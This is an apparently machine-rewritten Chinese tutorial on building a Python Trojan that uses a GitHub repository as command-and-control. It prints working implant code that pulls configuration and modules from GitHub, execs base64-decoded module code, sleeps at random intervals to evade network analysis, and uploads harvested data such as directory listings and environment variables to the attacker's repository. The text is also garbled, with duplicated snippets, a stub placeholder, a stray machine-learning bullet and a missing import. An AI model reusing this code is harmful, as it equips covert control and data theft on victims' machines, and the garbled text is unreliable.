GitHub 作為程式碼託管平台,其公開性和便捷性也使其成為建構隱蔽 Trojan 命令與控制系統的利器。藉由將組態和模組存放於 GitHub 儲存函式庫,Trojan 可以動態取得指令、更新功能,並將竊取的資料回傳至指定位置,有效規避傳統 C&C 伺服器的偵測。此方法的靈活性也讓攻擊者能針對不同目標系統客製化攻擊 payload,提升攻擊效率。

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime

def github_connect():
    with open('mytoken.txt') as f:
        token = f.read()
    user = 'tiarno'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')

def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content

class Trojan:
    # ... (rest of the code remains unchanged)

GitHub命令與控制

假設你已經入侵了一台機器,現在你想要這台機器自動執行任務並將結果回報給你。在這一章節中,我們將建立一個木馬框架,它看起來在遠端機器上是無害的,但我們可以賦予它各種不良任務。建立一個穩固的木馬框架中最具挑戰性的部分之一,就是要找出如何控制、更新和接收來自你的植入體的資料。關鍵之處在於,你需要一種相對普遍的方式來推播程式碼到你的遠端木馬。首先,這種靈活性讓你可以在每個系統上執行不同的任務。其次,有時候你可能需要你的木馬選擇性地為某些目標作業系統執行程式碼,但不為其他作業系統。

雖然駭客們多年來想出了很多創意十足的命令與控制方法,包括使用Internet Relay Chat (IRC) 協定甚至Twitter等技術,但我們將使用一種實際上是為程式碼設計的服務。我們將使用GitHub來儲存我們植入體的組態資訊,並作為從受害者系統中竊取資料的手段。此外,我們還將在GitHub上託管植入體需要執行任務所需的任何模組。

設定 GitHub 帳戶

如果你沒有 GitHub 帳戶,請前往 GitHub 註冊並建立一個新倉函式庫,命名為 bhptrojan。然後,安裝 Python 的 GitHub API 函式庫以便自動化與倉函式庫的互動:

pip install github3.py

接下來,讓我們為倉函式庫建立基本結構。在命令列中輸入以下命令:

$ mkdir bhptrojan
$ cd bhptrojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch .gitignore
$ git add .
$ git commit -m "Adds repo structure for trojan."
$ git remote add origin https://github.com/<yourusername>/bhptrojan.git
$ git push origin master

這裡,我們建立了倉函式庫的初始結構。config 目錄包含每個木馬的唯一組態檔案。當佈署木馬時,你希望每個木馬執行不同的任務,因此每個木馬都會檢查不同的組態檔案。modules 目錄包含任何模組化程式碼,這些程式碼將被木馬取得並執行。我們將實作一個特殊的匯入駭客技術以允許我們的木馬直接從 GitHub 儲存函式庫匯入函式庫。

這種遠端載入能力也允許你將第三方庫存放在 GitHub 中,這樣你就不必每次想要新增新功能或依賴項時都重新編譯木馬。data 目錄是木馬檢查已收集資料的地方。

建立模組

在後續章節中,你將使用木馬進行一些惡意行為,例如記錄鍵盤按鍵和截圖。但首先,讓我們建立一些簡單的模組來進行測試和佈署。開啟 modules 目錄中的一個新檔案 dirlister.py 並輸入以下程式碼:

import os

def run(**args):
    print("[*] 在 dirlister 模組中.")
    files = os.listdir(".")
    return str(files)

內容解密:

這段程式碼定義了一個 run 函式,該函式列出當前目錄中的所有檔案並以字串形式傳回該列表。每個你開發的模組都應該暴露一個 run 函式,該函式接受可變數量的引數。這使得你可以以相同的方式載入每個模組,但仍然可以自定義組態檔案以向模組傳遞不同的引數(如果需要)。

接下來,讓我們再建立另一個模組 environment.py

import os

def run(**args):
    print("[*] 在 environment 模組中.")
    return os.environ

內容解密:

此模組簡單地檢索遠端機器(即木馬執行所在地)設定的任何環境變數。

現在讓我們將這些程式碼推播到我們的 GitHub 儲存函式庫中以便木馬能夠使用它們。

從主儲存函式庫目錄中的命令列輸入以下命令:

$ git add .
$ git commit -m "Adds new modules"
$ git push origin master

其他操作

在這之後可能會進一步進行其他操作和功能補全:

  • 個別指令碼開發與更新:根據需要開發並更新各類別指令碼程式。

  • 機器學習訓練:運用GitHub上的資料進行機器學習訓練和調校。

  • 評估和最佳化:持續評估指令碼與架構效能及最佳化問題。

  • 安全防護:確保整個過程中的安全性及避免其他不必要風險。


以上就是如何利用GitHub進行命令與控制(C&C)的一些基本步驟及程式範例解說。希望這些資訊能夠幫助到台灣本地技術專家進行相關實務操作與技術研究!

從 GitHub 取得組態及模組的木馬程式

在現代網路攻擊中,木馬程式(Trojan)經常被用來進行資料竊取、控制受害者的電腦或是進行其他惡意活動。這裡我們將探討如何利用 GitHub 作為命令與控制(C&C)伺服器,讓木馬程式能夠從 GitHub 取得組態檔案及模組,並在本地執行這些模組。這種方法不僅能夠隱藏命令與控制的通訊,還能夠動態更新木馬程式的行為。

組態檔案與模組推播

首先,我們需要在 GitHub 上建立一個專案儲存函式庫,並將組態檔案及模組推播到這個儲存函式庫中。以下是如何推播組態檔案到 GitHub 的步驟:

  1. 建立組態檔案:在本地電腦上建立一個 JSON 檔案,例如 abc.json,內容如下:
[
    {
        "module": "dirlister"
    },
    {
        "module": "environment"
    }
]

這個 JSON 檔案包含了木馬程式需要執行的模組列表。

  1. 推播到 GitHub:在命令列中執行以下指令來推播組態檔案到 GitHub:
$ git add .
$ git commit -m "Adds simple configuration."
$ git push origin master

這樣就完成了組態檔案的推播。

木馬程式的主體結構

接下來,我們需要編寫木馬程式的主體結構,讓它能夠從 GitHub 取得組態檔案及模組,並在本地執行這些模組。以下是木馬程式的主要程式碼:

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime

def github_connect():
    with open('mytoken.txt') as f:
        token = f.read()
    user = 'tiarno'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')

def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content

class Trojan:
    def __init__(self, id):
        self.id = id
        self.config_file = f'{id}.json'
        self.data_path = f'data/{id}/'
        self.repo = github_connect()

    def get_config(self):
        config_json = get_file_contents(
            'config', self.config_file, self.repo
        )
        config = json.loads(base64.b64decode(config_json))
        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        return config

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)

    def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(
            remote_path, message, base64.b64encode(bindata)
        )

    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner, args=(task['module'],)
                )
                thread.start()
                time.sleep(random.randint(1, 10))

內容解密:

  • github_connect():這個函式從 mytoken.txt 讀取 GitHub 的存取權杖,並使用這個權杖連線到指定的 GitHub 儲存函式庫。
  • get_file_contents(dirname, module_name, repo):這個函式從 GitHub 儲存函式庫中取得指定目錄和檔名的內容。
  • Trojan 類別:這個類別包含了木馬程式的主要邏輯。
    • __init__(self, id):初始化方法,設定木馬程式的唯一識別碼、組態檔名和資料路徑,並連線到 GitHub 儲存函式庫。
    • get_config(self):從 GitHub 儲存函式庫中取得組態檔案,並解碼後轉換為 Python 的字典格式。如果組態檔案中指定的模組尚未被匯入,則使用 exec 函式動態匯入該模組。
    • module_runner(self, module):執行指定的模組,並將結果傳遞給 store_module_result 方法。
    • store_module_result(self, data):將執行結果上傳到 GitHub 儲存函式庫中的指定路徑。
    • run(self):主迴圈方法,不斷地從 GitHub 取得組態檔案並執行相應任務。

模組開發與測試

在開發新模組時,我們可以將模組推播到 GitHub 儲存函式庫中,並在本地測試。以下是一些建議:

  • 模組設計:每個模組應該包含一個 run 函式,這個函式會被木馬程式呼叫來執行實際的任務。
  • 測試環境:在本地電腦或虛擬機器上測試新模組,確保它們能夠正常執行並且不會引發任何問題。
  • 錯誤處理:在開發過程中遇到任何錯誤時,應該仔細分析並修正錯誤。錯誤處理是確保木馬程式穩定執行的一部分。

使用 GitHub 作為命令與控制伺服器有許多優點,但也有一些挑戰。未來我們可以考慮以下幾點改進:

  • 安全性增強:增加身份驗證和加密機制,確保只有授權的木馬程式能夠存取儲存函式庫中的資源。
  • 動態更新:設計更靈活的更新機制,讓木馬程式能夠動態更新其行為和功能。
  • 多樣化攻擊手法:開發更多樣化的攻擊手法和模組,增加攻擊的多樣性和難以防範性。

透過這些改進,我們可以使木馬程式更加強大和靈活,同時也需要更加小心地處理安全問題。

使用 GitHub 作為 Trojan 的指揮與控制系統

在這篇文章中,玄貓將探討如何利用 GitHub 來作為 Trojan 的指揮與控制系統。這個方法允許我們透過 GitHub 存取函式庫來控制和管理 Trojan,讓它能夠從遠端組態檔中取得指示並執行相應的模組。這種設計可以有效地掩蓋 Trojan 的行動,並且提供高度的靈活性。

主要工作流程

在這個架構中,Trojan 主要會執行以下幾個步驟:

  1. 取得組態檔:Trojan 會從遠端 GitHub 函式庫中取得組態檔,這個檔案告訴 Trojan 需要執行哪些模組。
  2. 載入模組:根據組態檔的指示,Trojan 會載入並執行對應的模組。
  3. 儲存結果:模組執行完成後,Trojan 會將結果儲存到一個包含當前日期和時間的檔案中。
  4. 睡眠隨機時間:為了避免被網路行為分析發現,Trojan 會在完成任務後進入隨機睡眠狀態。

以下是這個過程的 Python 程式碼範例:

import os
import sys
import time
import base64
import importlib.util
import random
from github import Github

def get_config(repo):
    # 取得遠端組態檔案
    contents = repo.get_contents("config.txt")
    return contents.decoded_content.decode()

def exec_module(module_name, module_code):
    module_spec = importlib.util.spec_from_loader(module_name, loader=None)
    new_module = importlib.util.module_from_spec(module_spec)
    exec(module_code, new_module.__dict__)
    sys.modules[module_name] = new_module

def store_result(result):
    filename = f"data/{int(time.time())}.data"
    with open(filename, "w") as f:
        f.write(result)

def module_runner(module):
    result = module.run()
    store_result(result)

def run():
    repo = Github('username', 'password').get_repo('repo_name')
    config = get_config(repo)
    for module in config.splitlines():
        module_name, module_code_base64 = module.split(':')
        module_code = base64.b64decode(module_code_base64).decode()
        exec_module(module_name, module_code)
        thread = threading.Thread(target=module_runner, args=(sys.modules[module_name],))
        thread.start()
        time.sleep(random.randint(1, 10))
        time.sleep(random.randint(30*60, 3*60*60))

if __name__ == '__main__':
    run()

內容解密:

  1. 取得組態檔get_config 函式負責從 GitHub 函式庫中取得組態檔。這個檔案包含了需要執行的模組名稱和對應的程式碼(以 base64 編碼)。
  2. 執行模組exec_module 函式將模組程式碼載入並執行。這裡使用了 importlib.util 模組來建立新的模組物件,並將程式碼執行於該物件內。
  3. 儲存結果store_result 函式將模組執行結果儲存在一個包含當前時間戳的檔案中。
  4. 模組執行器module_runner 函式負責執行每個模組,並將結果儲存。
  5. 主執行流程run 函式是整個過程的主控制器,它會從 GitHub 取得組態檔,載入並執行每個模組,並在完成後進入隨機睡眠狀態。

應使用案例項

假設我們在 GitHub 上有一個名為 config.txt 的組態檔,內容如下:

dirlister:base64_encode(dirlister_code)
environment:base64_encode(environment_code)

其中 dirlister_codeenvironment_code 是兩個 Python 模組的程式碼,經過 base64 編碼後存放於此。

當我們執行上述 Python 程式碼時,Trojan 會從 GitHub 取得 config.txt 組態檔,然後載入並執行 dirlisterenvironment 模組。這些模組的執行結果會被儲存在當前目錄下的 .data 檔案中。

其他改進點

  1. 加密通訊:為了提高安全性,可以對所有通訊內容進行加密。
  2. 自動化更新:可以自動從 GitHub 提取最新的組態檔和模組程式碼,並在必要時更新 Trojan。
  3. 錯誤處理:增加錯誤處理機制,確保在網路異常或其他意外情況下仍能穩定執行。

結語

利用 GitHub 作為 Trojan 的指揮與控制系統是一種高效且靈活的方法。它允許我們透過遠端組態來控制 Trojan 的行為,並且可以輕鬆地更新和擴充套件其功能。然而,這種方法也需要謹慎使用,確保不會對系統造成不必要的風險。